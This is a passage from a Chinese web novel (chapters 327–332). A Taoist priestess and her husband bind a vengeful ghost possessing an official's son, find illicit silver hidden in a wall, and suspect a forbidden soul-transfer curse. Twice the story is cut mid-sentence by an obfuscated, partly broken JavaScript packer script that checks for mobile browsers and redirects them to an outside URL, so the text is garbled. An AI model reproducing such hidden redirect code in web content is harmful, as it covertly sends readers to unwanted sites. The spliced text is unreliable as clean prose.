几人快步转过一条游廊,一片混乱的景象便铺展在他们眼前。 只见五六名家丁,皆围着一七八岁的孩童紧张地打转,似是想捉住他,却又怕伤着他,因而不敢轻易上前,只得在他十尺之外转圈,寻找着机会。 那孩童表面看来虽只有七八岁,但眼神与表情却异常严肃深沉,甚至带着浓浓的恨意,不停转身侧头扫视着庭院中围着他的家丁,不时突然加速向他们防守的空隙冲去。 那奔跑速度之快,反应之灵敏,根本不是七八岁孩童能拥有的。 幸好家丁们亦反应迅速,三人上前阻拦,两人在其后追赶。饶是如此却还是未能抓住那孩童,让那孩童向立在庭院边上的一名年轻贵妇奔了过去。 那名年轻贵妇被一群丫鬟嬷嬷们簇拥护着,望见孩童冲来,皆吓得连连惊呼,却还没忘记自己的职责。一些人护在贵妇身前,另一些人则拉着贵妇往后退。 那贵妇的反应也很是奇怪。 她一方面似是有些畏惧那孩童,另一方面,却还哭着向那孩童伸出手去,呼唤着他的名字: “彦儿!彦儿你清醒些,我是娘啊!你快醒醒,莫要被那鬼怪控制了,快醒醒!” 想必这位贵妇就是何立骅的夫人宋氏了。 可还不等宋氏唤罢,那孩童已冲破家丁们的阻拦,向贵妇那边疾速撞去。 接下来不可思议的一幕发生了。 只见那孩童冲到护着宋氏的几名丫鬟身前,一手拎起一个丫鬟的衣襟,随手一丢便将其扔飞出去老远。 另一手再将另一个丫鬟一推,那丫鬟也似被一股大力击中,登时飞了出去,跌在两米开外之处。 这哪里是名七岁孩童能做到的啊。怕是冷风流星来了,都要与他缠斗许久。 眼看着那孩童将几名丫鬟丢到一旁,一双淬着浓浓恨意的眸子,猛地盯住了宋氏,紧接着双臂一挥,便向宋氏冲了过去。 “啊!!!” “小少爷不要啊!” “少夫人小心!” 就在那孩童离宋氏等人仅差一寸之时,伴着一片抽气与惊叫声,一道符纸疾速飞了过去,蓦地击中孩童眉心。 但闻啪的一声,那道符纸发出一道红光,顿时将孩童击倒在地。 随后,又一条闪着金光的绳索,自空中飞了过去,将孩童牢牢捆住。 霎时,孩童十分痛苦地在地上挣扎扭动,口中发出痛苦的嚎叫。 众人一看孩童被制服,顷刻间一愣,而一旁的宋氏,则瞬时脱力晕了过去。 “少夫人!少夫人!” “玉卿!”何立骅焦急大喊一声,向宋玉卿奔了过去。 徐菀与慕怀瑾则向他们的儿子何宏彦跑了过去。 “少爷,少夫人晕过去了。我们先将她扶回房里,叫府医来看看吧。”宋玉卿身旁的一位嬷嬷道。 “好,你们快送少夫人回房,叫府医。待会儿我就去看她。” 管家又道:“少爷,老夫人方才也差点被小少爷冲撞到。府医将将看过,服下参汤与救心丸,这会儿气息已平稳。” “祖先保佑。”何立骅长舒一口气,转身向徐菀谢道:“多谢慕夫人及时出手相救,否则后果不堪设想。” “何大人客气了。我今日便是为解决此事而来。我们快看看小少爷吧。” “好好!” 言罢,三人齐齐望向倒在地上的何宏彦。 他被真言套索捆住动弹不得,却仍然在奋力挣扎着。 徐菀颔首望向他,微微眯起眼厉声道:“大胆孽障!竟敢强占凡人之躯体,并行如此暴戾之事。本观主今日便将你打得魂飞魄散!” 谁知,地上被鬼魂控制的孩童,却轻蔑地瞪着徐菀等人,冷笑道:“你有本事打啊!若是我魂飞魄散,这个小公子也别想活过半年!” 徐莞仔细看了看何宏彦的面相,他的印堂处一片青黑,眉心还有一道黑线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780965|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快要接近额顶的发际线,确实命不久矣。 看来何立骅此前所言不假。 但从何宏彦的八字来算,他命中这一劫,或许还有一线生机。 若是能在查清何钦罪证的同时,救这孩子一命,也是胜造七级浮屠了。 随后,徐莞便向“何宏彦”问道:“你是从何而来?为何要害一个孩子?” 在真言套索的作用下,“何宏彦”挣扎着开口,“我…是甘州嘉礼县人。我要害的不只是这个孩子,我还要向整个何家复仇。我要让何家血债血偿!” 慕怀瑾敏锐地察觉到这个鬼魂应该知道何钦做了什么,于是意有所指地问: “你为何要向何家复仇?是何家的谁害了你,你要让何家整个家族陪葬?” “自然是何钦那个畜牲!”何宏彦身上的鬼魂歇斯底里道:“他派人杀了我爹我娘,还有我弟弟妹妹,总共九口人。还不止如此,十四年前嘉礼县那场大火,就是因他而起!” “!!!” 此话一出,在场众人皆豁然大惊。 “一派胡言!”何立骅首先怒骂出口,“天下人皆知,嘉礼县的大火乃由山火引起,干我爹何事?我爹当年受先帝之命前去纾解旱情,怎可能与那火灾有关!” 慕怀瑾与徐菀相视一眼,眼中皆是震惊之色。 慕怀瑾继续顺着他们的话问,“口说无凭。你有何证据证明那场大火与何钦大人有关?若是没有证据,便是空口污蔑!” “我...”那鬼魂愣了愣,似是不知该如何回答,“我当时只有八岁。只听我爹在临死前说‘何钦...我要让你血债血偿...’” 鬼魂的话还未说完,何立骅便愤然接口,“你只是听人一面之词便认为皆错在我爹?你根本没有证据,休要血口喷人!” 慕徐二人则微微蹙起了眉头。 在真言套索的束缚下,无论凡人还是妖魔鬼怪,皆必知无不言,言无不尽。 因而这鬼魂所说,应是真的。看来从他口中是问不出什么证据了。 第328章 328.何钦害死我全家 在真言套索的束缚下,无论凡人还是妖魔鬼怪,皆必知无不言,言无不尽。 所以看来这只是真不知道何钦犯罪的细节。 但至少给慕徐二人指明了一个方向。那便是当年嘉礼县的大火并不是天灾,而是人祸,且很有可能背后的主谋就是何钦。 慕徐二人正在思忖中,没有多问,反而是何立骅又向小鬼魂问道:“你又是何人?如何上我儿子的身的?” 小鬼魂道:“我叫关戎,我爹是嘉礼县县令。我只记得那晚,我的小叔叔带我在县城逛庙会。 忽然便听见街上有人喊叫说县令府着火了。小叔叔赶忙带着我回家。 那时家里已烧毁了大半,小叔叔冲进火场将我爹救出。但他身上已身中数刀快不行了。而府中的其他人都早已不知被什么人杀害。 在临死之前,我爹就说了要让何钦血债血偿的话,还提到了另一个人的名字。**。 后来火势越来越大,小叔叔本想带我逃走。但火势蔓延的极快,没过多久整座县城都陷入一片火海。 最后所有人都被大火吞噬。我也被大火烧得痛不欲生。后来不知过了多久,我再次醒来,已经附在了何府小少爷的肉身里。 之后我便通过小少爷的肉身,听到原来这里就是何钦的府邸,而他是何钦的孙子。所以我才要在府中作乱,让何家全家都不得安宁!” 徐莞听后觉得有一点甚是奇怪。 一般来说,人枉死后,魂魄会留在他死的地方,或是回想起生前之事,自行返回家乡。 而死于嘉礼县大火的人,大多都是当地人,照理说他们的魂魄都会留在当地,不可能流转到京城这么远的地方,并且还精准地让关戎附在何家小孙子的身上。 这里面一定有人做了手脚,施法将关戎的魂魄转移到了何宏彦的肉身中。要待她仔细检查一番关戎的魂魄才能知晓。 慕怀瑾道:“冤有头债有主。如果真如你所说,你应该去找何钦大人报仇,不应祸及他的家人。尤其是小少爷。他只是位六七岁的孩童,何其无辜。” “他无辜?”关戎露出一抹嘲讽憎恨的笑,“我和我那两个年仅三四岁的弟弟妹妹不无辜?我们嘉礼县上百户人家,几百口人不无辜? 我们可都是老实巴交的老百姓啊!我们没有得罪任何人,就被一把大火烧成了灰烬。你说我们哪个人不无辜? 而何钦一家住着大宅子,穿着绫罗绸缎,吃着山珍海味。他们凭什么这么舒服! 我就是要让他们死!让何家全家都不得好死,以报我全县老百姓的大仇!” “够了闭嘴!”何立骅再也听不下去,出声吼道,面庞涨的通红。 管家连忙从旁劝阻安慰,才让他冷静下来。 此时,徐莞又向关戎道:“你想报仇我们可以理解。但若何钦大人不是你们的仇人。你报仇选错了目标,岂不是也不能令你家人的在天之灵安息,还害了何家无辜之人?毕竟你没有实质性的证据。” 听罢此话,关戎一愣,似是从未想过还有徐莞说的这种可能。 见他不知该如何回答,徐莞继续循循善诱,“既然如此,若是我们能证明,何钦大人与嘉礼县的火灾没有关系。你是否可以放过小少爷?” 关戎躺在地上沉默半晌,认真考虑着徐莞的话,最后缓缓点头,“是。若是你们能查清嘉礼县大火的真相,与何钦无关,我自然不会再为难何家。” “好!要的就是你这句话。”徐莞话毕转向何立骅道:“何大人,方才这小鬼魂所言你也听到了。 为今之计只有我们亲自去一趟嘉礼县,查清当年火灾的真相,才可让小少爷摆脱鬼魂纠缠。待那鬼魂离开小少爷的肉身后,我再想办法为他改命。” 何立骅面露犹豫,“慕夫人,这鬼怪说的都可信吗?” 慕怀瑾向前一步帮着解释道:“此点大人可以放心。捆住这鬼魂的绳索名为真言套索。无论凡人还是妖魔鬼怪,凡事被捆住,便只能言真话。所以他说的都是真的,也必会说到做到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786048|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何立骅又神色复杂地思索片刻,后道:“此事事关重大,请侯爷和夫人给我一日时间。待在下与我夫人和祖母商议过后,再上您府上拜访。” 徐莞与慕怀瑾相视一眼,对何立骅点点头道:“好。那今日我先用符纸将小少爷和那鬼魂都封印起来。待您考虑好后再行决定。” 何立骅向慕徐二人一拱手,“多谢慕夫人。” 末了,何立骅送慕徐二人出府。 一路上,何立骅都在对慕怀瑾叨念,嘉礼县的大火与自己父亲无关。 慕怀瑾一直认真聆听着,同时附和着他,转移开何立骅的注意力。 而徐菀则趁何立骅等人不注意,将一个紫色小纸人随手一丢,扔在了何府花园的假山后面。 随后,徐菀向慕怀瑾使了个眼色,慕怀瑾微微点了点头,便继续与何立骅攀谈起来。 何立骅的注意力全在自家儿子与爹身上,完全未注意到他们做了什么。 在二人即将登上马车之时,何立骅又面色忧虑地问了一句,“慕夫人,若是能让那鬼魂离开我儿子的肉身,您能确保我儿继续活下去吗?” 徐菀从容点头,“何大人放心,妾身已算到在小少爷此劫中暗含一丝转机,到时说不定会有意想不到的收获。” “好!”何立骅的面上终于多了一丝希望。 慕徐二人坐上侯府的马车,终于卸下方才一本正经的面具,互相斜睨一眼,促狭一笑。 “将身外化身咒都安排好了?”慕怀瑾问。 “对。”徐菀扬唇一笑,“今晚我就用身外化身咒再进何府一探究竟。” 在回永嘉侯府的路上,马车会途径青云观附近。 但此时已是申时,青云观已然闭观。徐菀便不打算下马车去转了。 而就在马车即将驶到青云观角门所在的巷口时,两个熟悉的身影从巷子中走了出来。 “哦?那是不是朱雀跟流星?”透过马车车窗,慕怀瑾率先看到了他们的背影。 第329章 329.不要跟流星在一起 “哦,那是不是朱雀跟流星?” 徐菀微微侧头望去,但见朱雀与流星肩并肩从小巷中走了出来。 流星殷勤地跟在朱雀身后,为她捏着肩膀。朱雀竟没有拒绝,而是配合地耸耸肩,转转脖颈,一副颇为放松享受的表情。 捏了一阵后,流星突然抬臂搂住了朱雀的肩膀。 这突然的亲密举动,令徐菀和慕怀瑾都不由得微微睁大了眼。 下一瞬,朱雀下意识地拂开他的手臂,嗔怒地往他肩头锤了两下。 流星却还是一副嬉皮笑脸的模样,厚着脸皮再次将朱雀揽入胸口。 朱雀登时转过头,似是怒骂了几句,又象征性地挣扎几下,见挣不开便由着流星去了。 最后,二人一路打打闹闹地走进沿街一家特色菜馆。 待二人的身影看不见了,慕怀瑾才望向徐菀,意味深长地说:“菀菀,看来你要多一位徒婿了。” 徐菀的表情却不是那么高兴,眉宇间反而多了一丝忧虑,“他们还是在一起了。果然是天命难违啊。” 朱雀与流星在外面吃完了晚饭,又在兴华街上逛了半个时辰。见天色已晚,流星才将朱雀送回永嘉侯府。 在永嘉侯府附近的街角,二人慢慢踱着步,最终在一盏流光灯笼旁停下脚步。 “朱雀,我就送你到这里了。”流星面向朱雀而立,双手握着她的肩,微微低下头道。 灯笼将他们二人的身影拉得很长,又由于角度的关系,二人的影子似乎离得很近,近得几乎贴在一起,显得甚是亲密隽永。 朱雀仰头望着流星,眼中闪烁着点点不舍,“好,你也快回去吧。否则被王爷发现又要责罚你了。” 流星咧嘴一笑,“能每日见到你,被责罚也值得。” 话毕,流星忽然低下头,在朱雀脸颊偷香一下。朱雀反应过来后,顿时满面通红,对着他的肩背便是一阵乱打。 “好你个登徒子!你的胆子是越来越大了!” 流星身手敏捷,身形一闪便蹿到了两米开外,心情大好地笑道:“哈哈我若在你面前都不做登徒子,要么是我有问题,要么是你太没魅力。你想如此吗?” 朱雀:“......”这两种她确实都选不出来。 流星笑罢,边后退着边道:“再过几日就是王爷的生辰宴了。到时侯爷和怀灵他们都会前去赴宴。你和白虎别忘了一起来。” 朱雀瞪他一眼,装作没好气地说:“记着了。你都说过好几遍了。” 流星满意地笑道:“好。那你快回府吧,我也走了。”说罢,面向朱雀一面后退,一面挥手。 朱雀亦向他点点头,羞赧地在胸口挥了挥手,便依依不舍地转身而去。 流星则立在原地,望着她的背影,直到看到她的身影消失在永嘉侯府大门后,才转过身向定北王府的方向而去。 可他还没走几步,忽然感觉一道凌厉的劲风从自己侧面袭来。 流星迅疾侧身一闪,下一瞬,一把飞刀擦着他的面颊飞过,噹的一声深深钉在后方房屋的立柱之上。刀尖上还插着一张纸条。 流星立刻认出了那把飞刀,将其从立柱上取下,展开那张纸条略看了两眼,便将其撕成碎片。 而他面上的表情,也由方才的欢欣幸福,渐渐沉了下来,在头顶摇曳的灯笼烛光下,复杂难辨。 随后,流星将那飞刀与碎纸随手一扔,自己大步向前走去,不消片刻便消失在夜色之中。 而那被扔在地上的飞刀与纸屑,被夜风一吹,竟呼的化为一片灰烬,消散在风中。 === 朱雀步履轻快地回到永嘉侯府,口中还不自觉地哼着小调,心中回想着今日与流星相处的一幕幕,以及两人分别时,那个又快又轻的吻... 曾经发誓不会为任何男人心动的她,在遇到流星之后才明白,原来与心爱之人在一起,会是如此快乐。 在一起的每时每刻,都是那么无忧无虑,却异常短暂。而分别之后的时辰,却又是那么漫长。将将与他分开,就又想再次见到他。 朱雀甜蜜地想,或许这就是才子佳人话本里,所说的爱情吧。 如此想着,朱雀已走进了松风苑,脑中却还回想着流星的俊颜,完全未发现花园旁立着一个人影,目光正一瞬不瞬地跟随着她。 “朱雀。” 这突如其来的一道语声,将朱雀吓得差点跳起来,猛地转过头才发现,她的师父徐菀正立在花园旁,一脸严肃地望着她。 “师父...”朱雀小声道,一点点向徐菀挪了过去。 “今日为何这么晚才回府?是不是与某位将军在一起?”徐菀直截了当地问。 “您怎么知道!” 朱雀愕然抬头,问出口后才意识到,有什么事能瞒得过师父啊,她只要掐指一算便知。 徐菀似是知道她在想什么,开诚布公地说:“我不用算都知道你和流星将军在一起。今日申时我与侯爷从外面回府,在青云观附近看到你们了。” 啊?这么巧吗?这都能被师父和侯爷撞见。 那如此说来,师父不就看到她与流星在大街上嬉戏打闹了? 祖师爷啊!朱雀此时真想挖个坑跳进去。被师父看到他们那样的举动,她还要不要活了! 谁料,徐菀并没有责怪她,而是认真地问:“你们已经私定终生了?” 朱雀愣了愣,而后微微点了点头,“嗯。我与他互相倾心,也互通了心意。虽然我不知能否与他相伴一生,但此刻我们的心是在一起的。还请师父成全。” 朱雀说罢,即刻向徐菀抱拳鞠躬。 徐菀静静地望着她,眸光清冷似水,其中闪动着决绝。 “既然你请我成全...那么为师命令你,不要与他在一起。” 朱雀:“!!!” “为什么师父!”朱雀猛然抬起头,难以置信地望向徐莞。 “你们有缘无分。若强行在一起,你会受伤的。” 朱雀听罢心头一震,原来师父已经算到他们的结局了吗? 徐莞望见她那浸满了心痛与纠结的双眼,心中隐隐有些不忍。 “师父言至于此。至于你想怎么做,全凭你自己选择。” 第330章 330.藏在墙里的银子 “师父言至于此。至于你想怎么做,全凭你自己选择。但是记住,不要做傻事。你还有弟弟,还有师父,任何事都可以和我们商量。” 话毕,不等朱雀回应,徐莞便转身离去,“为师晚上还有要事,就不与你多说了。你回去好好想清楚。” 朱雀怔怔望着师父离去的背影,直至庭院中只剩她一人,她依然久久没有回神。 这时她才意识到,每次她和流星在师父面前有互动时,师父的表情都不大好。 难道一开始师父就已算到了他们的结局? 但她与流星为何会有缘无分? 流星明明是定北王的心腹,而定北王与侯爷又情同手足。 她和流星在一起,应该不会有任何阻力才对。难道以后流星会为了自己的前程,抛弃她? 不,流星不是这样的人。如果他是,他根本不会就不会跟她在一起。 但师父说过的话,从未错过。 那么她是该听师父的话,从此断了和流星的来往,还是听从自己的内心,继续与流星在一起? 这一晚,朱雀辗转难眠,脑海中出现的尽是流星的容颜。 === 徐莞回到书房时,慕怀瑾已坐在桌案后等她了。 “朱雀才回来?” “对。” “你们师徒俩有没有说些姐妹间的悄悄话?” “没有。我让她不要跟流星在一起。” 慕怀瑾拿着毛笔的手一顿,亦颇为惊讶,“这是为何?” “这你就不用管了。”徐莞一面答着,一面向书房后准备好的阵法走去,“今晚还有更重要的事呢。” 慕怀瑾已起身跟了过去,见徐莞已在阵法中坐定。 “怀瑾,你坐在那边。待会儿我施展身外化身咒的时候,你帮我看好这只香。若是快燃尽了,你就将这道符纸烧了,我自会回来。” “好,你放心。” 徐莞又放松了语气道:“也不必太过担心。身外化身这种简单的咒术,我七岁时就会了。待会我动作放快一些,若是无什么发现我就回来。” 做好一切准备后,慕怀瑾将香点燃,徐莞坐在阵法中央,双手结印,口中默念咒语。 少倾,她猛地一仰首睁开眼,双眼竟变成了一片灰白,似有浓雾在她眼中旋转翻涌。 慕怀瑾便知,她的意识已经到了何府的小纸人里。 正如他所料,下午徐莞偷偷扔在何府花园假山后的小纸人,双眼倏地亮起,紧接着便渐渐变大,直至变成了徐莞的模样。 “徐莞”睁开眼,发现自己已经在何家了。 随后,她伸伸胳膊踢踢腿,活动了一下筋骨。多年未施展过身外化身咒,今日一用还真有些不习惯。 最后,她又朝四下里观察倾听一番,确定无人后才走出假山。 下午他们来何府时,徐莞已提前留意到何钦院落的位置。 今晚,她便是要潜入何钦的院落,搜寻一番有无他犯罪的线索。 此时时辰已晚,何府的下人们都已回到各个院落,所以一路上徐莞未碰到什么人。 到了何钦的院落,发现大门锁着。但她却丝毫不为之担忧,而是挺胸抬头,径直穿过大门走了进去。 原来,这身外化身拥有穿墙穿门的本领。 进到内院后,徐莞迅速进何钦的书房与寝屋探查。 毕竟她只有一柱香的时间,不管能否找到,她都要撤退。 何钦的寝屋虽无人居住,但显然时常有人打扫,房内物品不多,干净整洁。书房也被整理过,桌案和书架上也未放置太多书籍或信函。 徐莞将何钦院落中的每间房都仔细搜寻一遍,却并无发现。 徐莞立在他的寝屋内有些气馁,何钦做事果然谨慎,院里居然什么都找不到。 不对,还有一些地方她没有找——墙后和地底。 像何钦这种坏事做尽之人,必然有些秘密不能放在明面上,所以府中设几间密室或地下室合情合理。 幸好徐莞的身外化身还有透视技能。 于是,她发动技能,睁眼在何钦府中细细看了一圈,接着猛然睁大了眼! 找到了! 在何钦寝屋侧面的墙里有一间密室,密室内好像放了好几个大箱子。 箱子里是何物?进去看看就知道了。 遂,徐莞朝着那面墙径直走去,眼睛都不眨便瞬间穿墙而入。 进入密室后,徐莞发现此地空间极小,而且入口是被完全封死的? 似乎何钦将这些箱子放进去后,无大事便不会再打开。 那么这些箱子里究竟是什么? 徐莞一点点向那些箱子靠去,施法将上面的锁打开,再用力将箱盖掀开—— 伴着漫天飞舞的灰尘,徐莞的双眼倏然睁大,甚至整张脸都亮了起来。 里面竟是一箱满满当当的银元宝! 徐莞再依次将另外几个箱子打开,里面无疑都是满当当的白银。 这么多银子,怕是有几十万两了吧! 何钦竟在寝屋的密室中藏了如此多银子。那么这些银子的来源多半不正当。 徐莞拿起一枚银元宝仔细看了看,发现元宝底部刻着这批银子的年号——惠和三年,正是十四年前甘州大旱的那一年。 如此说来,这些银子都是何钦赈灾那年,以不正当的手段获得的。 如今虽不知他是如何获得的,但可以确定的是,这些银子绝对是扳倒何钦的强有力证据。 可何钦那个老奸巨猾的狐狸,一旦发现有人想调查他,定会第一时间将这些银子转移。而徐莞也不能此时就将这些银子取走。 那么如何能让这些银子一直就在此地,让何钦无法将其转移走呢? 忽然,徐莞灵光一现,若是他看不见,不就无法将银子转移走了? 思及此,徐莞迅速在每个箱子上画上一道隐身符,再念动咒语。 这八箱银子,便渐渐消失在了视野之中。 望见这一幕,徐莞满意地拍了拍手上的灰,傲娇地想,这隐身咒只有她自己能解。待需要出示证据时,她再解开咒语,所有人便都能看到。 哎,真想亲眼看看,何钦见到自己私藏的几十万两银子不见了,是何种表情。一定十分精彩。 做完这一切,徐莞便穿墙而出,未发出一点声响。 来到何钦院落门外,徐莞本打算这就撤退,但一阵情绪激动的对话声,忽然传入她的耳中。 第331章 331.神秘信件 一阵情绪激动的对话声,忽然传入徐菀的耳中。 “什么?那鬼怪果真如此说的?”一女子说道,嗓音虚弱却带着几分急切。 “对。慕夫人说她用真言套索捆住那鬼魂,鬼魂必说真话。所以慕夫人建议我们去一趟嘉礼县,调查清楚当年大火的缘由,证明那大火与我爹无关,便能让那鬼魂放过彦儿,放过我们全家。” 原来是何立骅与他的夫人宋氏在说话。 进入身外化身后,徐菀的耳力与眼力也大涨许多。何立骅与他的夫人在隔壁院落对话,她都能听的一清二楚。 于是,徐菀停下手里的动作,直起身来到院落的墙边,径直穿了过去,躲在何立骅的寝屋外侧耳倾听。 只听宋玉卿急急道:“那我们还等什么?明日便启程去嘉礼县!” “可是...”何立骅有一丝犹豫,“嘉礼县的大火都是十几年前的事了,我们如今要查,都不知该从何查起。 并且我爹当年确实被朝廷派去治理甘州旱灾,镇压嘉礼县的大火。我们若真要查出些什么...” “夫君你这是何意?难道你不想救彦儿?还是你不相信爹?” “不...我不是这个意思...” “那你怕什么?既然有机会救我们的彦儿,为何不去做?再有不到半年彦儿就该八岁了,到时就来不及了啊。这是我们目前唯一的机会。” 屋内静了半晌,随后便闻何立骅深吸一口气道:“对,彦儿是我唯一的孩子。我这辈子不为他还为谁?我明日便去跟慕侯爷与夫人商议。” 宋氏的嗓音里终于多了丝欣喜,“夫君说的对。彦儿是我们家唯一的血脉。哪怕让我用自己的命换他的命,我也愿意。” “好,那我们现在就去向祖母请命。” 说罢,何立骅夫妻二人,便起身离开了自己的院落。 徐菀稍稍避了一下后,再次跟了上去。 来到何家太夫人的院落中,何立骅夫妻在正厅中向太夫人说明情况。 太夫人听罢,不假思索便道:“有此等好机会,实乃我何家之幸呐。不要说去趟嘉礼县了,哪怕要去乌兹国,咱们都要去! 立骅,你这几日就去通政使司告假。然后准备准备,带上彦儿同去,争取尽快查清实情,让彦儿解脱。” “祖母,玉卿也想陪彦儿同去。”宋玉卿道。 太夫人点点头,“也好。有娘亲在身边,彦儿就不会害怕了。府里有我看顾着,你们尽管去。” “多谢祖母!”宋玉卿说罢,忽然像是想起了什么,又向太夫人问: “祖母,既然那件事与爹有关,我们可否去信问一问爹,请他提供些当年大火的线索?” 此话一出,何立骅与太夫人都愣了愣。 少倾,太夫人才道:“你爹如今在边关忙于战事,我们最好不要用此事叨扰于他。你们就先自行去查,等有一些眉目了,再去问他也不迟。” 太夫人说完,何立骅又接口道:“祖母说的是。那年大火本就与我爹无关。若我们此时贸然去信去问,反而会让他多想。” 宋玉卿这时也明白自己说错了话,忙讪笑道:“还是祖母和夫君考虑的周全。” 话至此处,何立骅起身告退,“时候不早了,我们便不打扰祖母休息了。” “好,你们也快回屋休息吧。” 此番谈话结束,三人的表情尽数落在徐莞的眼中。 太夫人与何立骅不让去信给何钦,难道是心里也清楚,嘉礼县的大火与何钦有关? 怀着这个疑问,徐莞又跟着何立骅夫妻二人回到了他们的院落。 何立骅先让宋玉卿睡下,自己去书房写告假书。 徐莞躲在书房外,从窗户缝隙望去,只见何立骅写完告假书后,又在身后的书柜中翻找了片刻。 最后他从一沓落满灰尘的折子和书信中,抽出了一个信封,再从信封中取出一张发黄的信纸。 徐莞因站在窗外,仅能隐约看见那信封上写了“甘州”两个字。 随后,何立骅坐在桌案后,借着烛光将那封信静静看了良久,表情复杂又隐忍。 末了,他还是把这封信折好又放回信封中,再压入那一沓尘封已久的书信和折子中。 就在这时,徐莞耳边响起慕怀瑾有些空灵的声音,“菀菀,时辰快到了,回来吧。” 徐莞即刻回过神来,动作迅速地离开何立骅的院落,来到庭院中的池塘边,紧接着念动咒语。 但见这个“徐莞”慢慢缩小变薄,接着便随风飘了起来,向池塘飘去,而后突然呼的一下燃起了火。 不一会儿,小纸人便燃烧成了几片灰烬,掉在池水中,消失得无影无踪。 再次睁开眼,徐莞已身处松风苑的书房中了。 “菀菀可还好?”慕怀瑾关切的语声自身旁传来。 “我好的很,一点问题没有。”徐莞轻松地说着,从阵法中站了起来。 “可有寻到证物或线索?”慕怀瑾扶着她在一旁的椅子里坐下,为她倒上一杯茶。 “自然是寻到了。你猜我找到了什么?”徐莞喝着茶水,还不忘掉起慕怀瑾的胃口。 慕怀瑾斜睨她一眼,“都这会儿了还要与我卖关子。快说。” 徐菀嘿嘿一笑,将方才看到的情况一一讲给慕怀瑾。 “……最后,我将那几箱银子都用隐身咒隐去。他想转移时根本无从发现。待我们需要展示证物时,我再施法将隐身咒去除。” 慕怀瑾夸赞道:“菀菀果真机智。那些银子八成来路不正,否则他也不会将其藏在墙里了。” “对了,我还有另一个发现……”徐莞又将何立骅看信之事告诉了慕怀瑾。 “...那封信的内容我看不清,但看到了信封上写着‘甘州’两个字。而且他拿着那封信看了许久,表情很是纠结。” 慕怀瑾听后思忖道:“何立骅在通政使司中任左通政一职,主要负责内外奏章和臣民密封申诉之件。 既然那封信来自甘州,极有可能就是来自甘州臣民的申诉信件。 而他看那封信时很纠结,估计那封信里写的,就是有关状告何钦的内容。” 第332章 332.移魂禁咒 “估计那封信里写的,就是有关状告何钦的内容。” “原来如此,那封信就可以当做证物。”徐菀道:“我要不明日再去把那封信取回来?” 慕怀瑾微微摇头,“先不必。既然何家人对小公子如此重视,他们必会与我们一同去嘉礼县。 到时看他们是否诚心调查。若诚心那是最好。若不是,我们便在暗中收集证物,回来后取回那封信,更有弹劾他的把握。” “好。” 二人随后将书房中的阵法收拾干净。收拾的过程中,慕怀瑾忽然想起了什么。 “菀菀,据道《道门全书》中所写,枉死之人的魂魄,死后会在它身亡之地流连,或返回自己的家乡?既然如此,关戎的魂魄为何能附在京城何家人的身上?” 原来慕怀瑾也发现了此疑点。 “不错嘛,能发现这一点。其实我在下午离开何府前,施法封印那小鬼魂时,仔细探查了一番他的魂魄。 发现他的魂魄上有施过禁咒的痕迹。此禁咒需用至少三个魂魄的魂力,才可将关戎的魂魄送至另一人的肉身内,助其重生。 并且那三个魂魄还必须是自愿的。施法成功后,那三个魂魄便会魂飞魄散,再无法转世轮回。” “你的意思是,有人施展了那种禁咒,才将关戎的魂魄送到了何家孙子的肉身中?那人的目的难道就是为了向何家报仇?” 慕怀瑾思忖道:“那么你觉得,在盛国境内能施此咒者有何人?” 徐莞向他眨眨眼,“谁有可能知晓何钦所行之事,又恰好道法高超呢?” 慕怀瑾即刻会意,“卫颐?” 徐莞点点头,“对。那种禁术我在师父的禁书中读到过,是紫霄观祖师爷所创。 后来有紫霄观弟子修习后,竟杀人取魂,来使亲近之人的魂魄重生在另一人的肉身里。因此紫霄观祖师爷便将其封印,严禁紫霄观弟子修习。 卫颐当年就是因修习了禁术,被赶出紫霄观。说不定他学的就是此种禁术呢。 只是有一点我不明白。当年何钦与卫颐不是一条绳上的吗?为何卫颐会施咒害何家?” 慕怀瑾沉默片刻后道:“最为善变即人心。人与人的关系,也会因利益而变质。 十几年前他们或因相同的利益狼狈为奸。如今,也可能因利益相斥而反目成仇。 更何况何钦如今功高盖主,为人又太过高调跋扈,多次枉顾礼仪尊卑,惹得皇上与太后大失颜面。这或许就是何家被诅咒的原因。” “你是说,是皇上和太后授意的?”徐菀并未在高门权贵之家长大,对朝堂中的权力斗争不甚了解。 什么太后皇上、何钦卫颐,甚至还有定北王和大长公主,这些人之间的利益关系,徐菀一概不知,也不想去了解。 唯有慕怀瑾愿意与她讲,她才能略略知晓一些。 慕怀瑾站起身,双手负在身后,在书房中踱步,耐心地解释道:“那时皇上将将登基不久,年纪尚小,皇位不稳。 太后为了稳住皇上的统治,压住各位皇室宗亲,以及朝堂中的各方势力,将卫颐与何钦提拔上来培养成自己的势力。 当年太后将我爹从北疆召回京城,收了他的兵权,就是担心我爹位高权重,又手握兵权,恐会对他们不利。 我爹没了兵权后,太后便一手扶植何钦上位。十几年来何钦成了武将之首,手握重兵,在军中威望极高。 而何钦得权后逐渐膨胀,近几年多次对太后与皇上无礼。皇上弱冠那年,亲手书信一封邀请身在军营的何钦回京参宴。 但何钦在并无战事的情况下拒绝回京,还命人送了些上不了台面的贺礼,令皇上与太后龙颜大怒。 还有三年前何钦大败东日有功,回京领赏。在面见皇上与太后时,当着群臣之面居功自傲,竟主动要求皇上赐座。又令皇上和太后丢了脸面。 所以太后应该早就想将何钦拉下马了。如此,太后命卫颐对何家孙子下咒,也就解释的通了。” 